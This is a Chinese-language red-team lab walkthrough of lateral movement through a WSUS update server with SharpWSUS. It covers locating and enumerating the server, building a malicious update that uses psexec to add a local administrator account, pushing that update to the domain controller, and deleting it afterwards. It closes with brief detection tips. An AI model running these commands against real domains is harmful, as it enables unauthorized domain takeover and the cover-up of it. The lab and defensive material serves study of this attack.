WSUS是微软在其网络结构中提供的关于系统补丁更新的一个解决方案,在一些规模较大的域可能会出现。
WSUS可以在域内机器不出网的时候,将客户端绑定到WSUS Server上,将一些补丁或者组件更新时直接放到WSUS Server,通过 HTTP (8530端口)和 HTTPS (8531端口)与 Microsoft 通信来加载补丁,然后推到指定的域机器上,方便运维进行管理。
最常见的情况是单域采用一台WSUS更新服务器进行管理,下图是域内单台WSUS的架构图:

下图是域内多台WSUS的架构图:

利用
通过SharpWSUS枚举WSUS信息、推送恶意补丁到目标机器进行横向渗透。
实验环境:
域名:redteam.lab
1.域内WSUS服务器server2019(机器名:WSUS-1)
2.域内域控Server2016(机器名:DC2)
2.域内机器win7(机器名:dm2007)
当前环境是拿到了域内win7的权限,然后通过WSUS Server进行横向渗透
定位当前主机WSUS Server
1.通过注册表
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate

2.通过SharpWSUS
SharpWSUS.exe locate

由上面的信息收集,可以得到WSUS Server机器名为WSUS-1,然后我们想方设法获得了WSUS-1的机器权限。
通过WSUS-1枚举WSUS服务的详细信息:
其中包括当前管理的计算机列表、ip、版本信息、上一次更新的时间
SharpWSUS.exe inspect

可以看到域控(DC2)也在这台WSUS Server 更新的目标内,可以向它推送恶意更新,例如:添加本地管理员用户。
要点
1.WSUS横向最不确定的因素是无法控制客户端何时向WSUS Server拉取补丁信息,这个属性通常在域内搭建WSUS的组策略中设置。利用成功与否决定于客户端安装了攻击者提供的恶意补丁。

2.WSUS的有效负载必须是Microsoft 签名的二进制文件,并且必须指向磁盘上的某个位置,使 WSUS Server指向该二进制文件。由于需要签名的二进制文件,可以用PsExec.exe 以 SYSTEM 身份执行、RunDLL32在网络共享上运行恶意 DLL等方法进行横向,下面以psexec举例。
横向
1.生成一个用psexec执行添加本地管理员组的恶意补丁,其中updateid是补丁的更新id
SharpWSUS.exe create /payload:"C:\Users\public\psexec.exe" /args:"-accepteula -s -d cmd.exe /c 'net user lzz Qq123456.. /add && net localgroup administrators lzz /add'" /title:"demo01"

随着补丁生成,补丁中的二进制文件(psexec.exe)也被保存在WSUS目录中并命名为wuagent.exe

2.因为WSUS根据组进行管理,所以创建组Demos并将DC2加入Demos,设置恶意补丁作用于Demos
SharpWSUS.exe approve /updateid:ac82689b-f451-4df5-bc1c-3cb653301252 /computername:dc2.redteam.lab /groupname:"Demos"

在WSUS Server上也能看到补丁的详细信息

3.检查组是否创建
SharpWSUS.exe inspect

同样能在WSUS Server上看到

获取更新状态

由于开始搭建组策略的时候设置了每天三点客户端更新,到了三点以后可以看到WSUS Server将demo01推送到了dc2上

dc2安装更新后,恶意补丁成功创建了本地管理员账户。

攻击利用成功后,同样利用SharpWSUS删除恶意补丁
SharpWSUS.exe delete /updateid:ac82689b-f451-4df5-bc1c-3cb653301252 /computername:dc2.redteam.lab /groupname:”Demos”

可以看到Demos组和id为ac82689b-f451-4df5-bc1c-3cb653301252的补丁demo01被删除。

防范措施
1.最后攻击者成功后wuagent.exe不会被自动删除,可以利用此进行溯源
2.攻击利用会创建新的WSUS组,可以随时监控组的创建和删除定位攻击
环境搭建:
http://mb.yidianzixun.com/article/0eP3ekLe
https://www.office26.com/computer/computer_27090.html
https://blog.51cto.com/xiaosuncunzhang/1343003
https://www.cnblogs.com/Summer6/p/10921491.html
https://www.rampfesthudson.com/how-do-i-run-wsus-client-diagnostics-tool/
参考:
https://docs.microsoft.com/de-de/security-updates/windowsupdateservices/18127657
https://labs.nettitude.com/blog/introducing-sharpwsus/
History
- Created 2022-10-22 06:06
- Published 2022-05-11 06:06
- Updated 2024-10-21 01:40